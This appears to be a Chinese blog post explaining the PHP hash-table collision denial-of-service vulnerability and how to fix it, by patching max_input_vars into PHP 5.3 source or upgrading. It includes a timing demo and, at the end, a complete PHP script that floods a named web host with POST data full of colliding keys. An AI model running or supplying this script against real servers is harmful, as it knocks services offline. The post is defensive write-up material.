php hash解,PHP的hash漏洞解决方案

工作原理:

PHP的数据类型是人们所喜爱的,因为它用起来方便。然而为了实现这种方便,必然要用到哈希表。

我们先来看一下PHP是怎样储存变量的:

InBlock.giftypedef        union        _zvalue_value        {

InBlock.gif  long        lval;          /*        long        value        */

InBlock.gif             double        dval;                        /*        double        value        */

InBlock.gif  struct        {

InBlock.gif    char        *val;

InBlock.gif    int        len;

InBlock.gif  }        str;

InBlock.gif  HashTable        *ht;        /*        hash        table        value        */

InBlock.gif  zend_object_value        obj;

InBlock.gif}        zvalue_value;

InBlock.gif

以上代码在PHP 5.3.6中位于Zend/zend.h的305行。

在这个联合体中,有long保存整型、double保存浮点型、和struct来保存字符串型的字符串与字符串长度。

在其后的

InBlock.gifstruct _zval_struct {

InBlock.gif        zvalue_value value;

InBlock.gif        zend_uint refcount__gc;

InBlock.gif        zend_uchar type;

InBlock.gif        zend_uchar is_ref__gc;

InBlock.gif};

InBlock.gif

中,type表示这个变量在PHP中的类型(详见附录1)。然而其中的HashTable *ht就是键名所保存的地方。我们知道链表的操作时间复杂度为O(n),而相比之下,设计得好的哈希表通常情况下只有O(1)。

PHP使用的算法是DJBX33A(http://blog.csdn.net/zuiaituantuan/article/details/6057586),然而如果键名为×××,那么情况就不一样了。PHP为整型键名做的是 hash & tableMask(&为按位与操作)的操作。

InBlock.gifh = zend_inline_hash_func(arKey, nKeyLength);

InBlock.gifnIndex = h & ht->nTableMask;

InBlock.gifp = ht->arBuckets[nIndex];

InBlock.gif

如果得到的p!==NULL,那么恭喜你,发生碰撞了。这个时候,PHP就会将新元素链接到原有元素链表头部。而查询的时候也是按照相同的策略,将链表中的所有的键名和要查找的键名进行一一比对,但是一般在正常使用的情况下,不会有多大问题。

那么知道了这种特性以后,要发起***,就变得简单了,只要对PHP页面发送POST请求(不论script中是否对POST进行处理),别有用心的构造key,那么PHP在引擎层面处理POST数据的时候,已经足以崩溃。

例如:64,128,192,256这样的int型key的hash值是0,那么就会发生碰撞,当key为64进行存储的时候,链表操作是0次,128为1次,192为2次,以此类推则有:time(n) = n-1;那么n个这样的key的链表操作数据就是0+1+2+3+...+(n-1) = (n-1)*(n-2)/2。

我们看一段代码:

InBlock.gif<?php echo '

'; 

InBlock.gif

InBlock.gif$size = pow(2, 15); // 16 is just an example, could also be 15 or 17

InBlock.gif

InBlock.gif$startTime = microtime(true);

InBlock.gif

InBlock.gif$array = array();

InBlock.giffor ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {

InBlock.gif        $array[$key] = 0;

InBlock.gif}

InBlock.gif

InBlock.gif$endTime = microtime(true);

InBlock.gif

InBlock.gifecho 'Inserting ', $size, ' evil elements took ', $endTime - $startTime, ' seconds', "\n";

InBlock.gif

InBlock.gif$startTime = microtime(true);

InBlock.gif

InBlock.gif$array = array();

InBlock.giffor ($key = 0, $maxKey = $size - 1; $key <= $maxKey; ++$key) {

InBlock.gif        $array[$key] = 0;

InBlock.gif}

InBlock.gif

InBlock.gif$endTime = microtime(true);

InBlock.gif

InBlock.gifecho 'Inserting ', $size, ' good elements took ', $endTime - $startTime, ' seconds', "\n";

InBlock.gif

以上这段代码来自参考资料第一条链接。

用第一种方法(恶意***)生成出来的数组大概要跑59.7秒,而下面的方法(正常情况)仅仅需要0.035秒。(Ubuntu 32位桌面环境 ,3.4G 内存,E8400 3.0G双核)

后来把上面的方法做成高斯炮,间隔着两炮打出去,服务器负载立马到0.9,CPU占用率高达29%。后来又做了一系列的尝试,发现高斯炮能瞬间占满CPU和内存。

解决方法:

1.如果是php-5.2.x的版本,通过打补丁可以修复此漏洞

patch地址:

2.如果是php-5.3.x的版本,修复漏洞有两种方法:

第一种:修改php-5.3.x的源码

A.  修改/main/main.c文件,把STD_PHP_INI_ENTRY宏加到main.c的PHP_INI_BEGIN()和PHP_INI_END()宏之间来注册PHP INI指令:

STD_PHP_INI_ENTRY(" max_input_vars", "1000", PHP_INI_SYSTEM|PHP_INI_PERDIR, OnUpdateLongGEZero, max_input_vars, php_core_globals, core_globals)

B.修改文件/main/php_globals.h,_php_core_globals结构体内加上:

long max_input_vars;

C.修改文件/main/php_variables.c,在:

zend_symtable_update(symtable1, escaped_index, index_len + 1, &gpc_element, sizeof(zval *), (void **) &gpc_element_p);

之前加入:

if (zend_hash_num_elements(symtable1) >= PG(max_input_vars)) {

php_error_docref(NULL TSRMLS_CC, E_ERROR, "Input variables exceeded %ld. To increase the limit change max_input_vars in php.ini.", PG(max_input_vars));

}

源码修改完之后,进入原来的php源码目录:

make clean

make

make install

测试:phpinfo:

出现max_input_vars=1000(默认值,可以在php.ini中配置此参数)

第二种方法:升级php主程序(建议使用)

官方在PHP-5.3.9RC2中修复了此漏洞

PHP 5.3.9RC2 :

PHP 5.4.0RC2:

注释:

另外, 其他语言java, ruby等, 请各位也预先想好对策, 限制post_size是治标不治本的方法, 不过可以用来做临时解决方案.

InBlock.gifDDOS***程序:

InBlock.gif

InBlock.gif<?php

InBlock.gifset_time_limit(0);

InBlock.gif

InBlock.gif/**

InBlock.gif * 设置变量

InBlock.gif */

InBlock.gif$host = 'www.teamtop.com';  //域名

InBlock.gif$uri = '/index.php';  //建立一个名为response.php的php文件,里面什么都不用写

InBlock.gif$data = '';        //拼接***参数

InBlock.gif$size = pow(2, 16);

InBlock.giffor ($key = 0, $max = ($size - 1) * $size; $key <= $max; $key += $size) {

InBlock.gif        $data .= '&array[' . $key . ']=0';

InBlock.gif}

InBlock.gif/**

InBlock.gif * 发送***请求

InBlock.gif */

InBlock.gif$str = "POST {$uri} HTTP/1.1\r\n";

InBlock.gif$str .= "Host: {$host}\r\n";

InBlock.gif$str .= "Content-type: application/x-www-form-urlencoded\r\n";

InBlock.gif$str .= "Content-length: " . strlen($data) . "\r\n";

InBlock.gif$str .= "Connection: close\r\n";

InBlock.gif$str .= "\r\n";

InBlock.gif$str .= "{$data}\r\n";

InBlock.gif

InBlock.gif$fp = @fsockopen($host, 80, $errno, $errstr, 30);

InBlock.gifif (!$fp)

InBlock.gif  die('err');

InBlock.giffputs($fp, $str);

InBlock.gif$s = '';

InBlock.gifwhile (!feof($fp))

InBlock.gif  $s .= fgets($fp, 1024);

InBlock.giffclose($fp);

InBlock.gif

InBlock.gifecho 'ok';

在***程序同层目录创建空文件response.php

注意观察:获取ok的时间,及服务器的CPU占用率

刚刚修复了服务器的这个漏洞,整合了网上的一些资料,跟大家做个分享!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值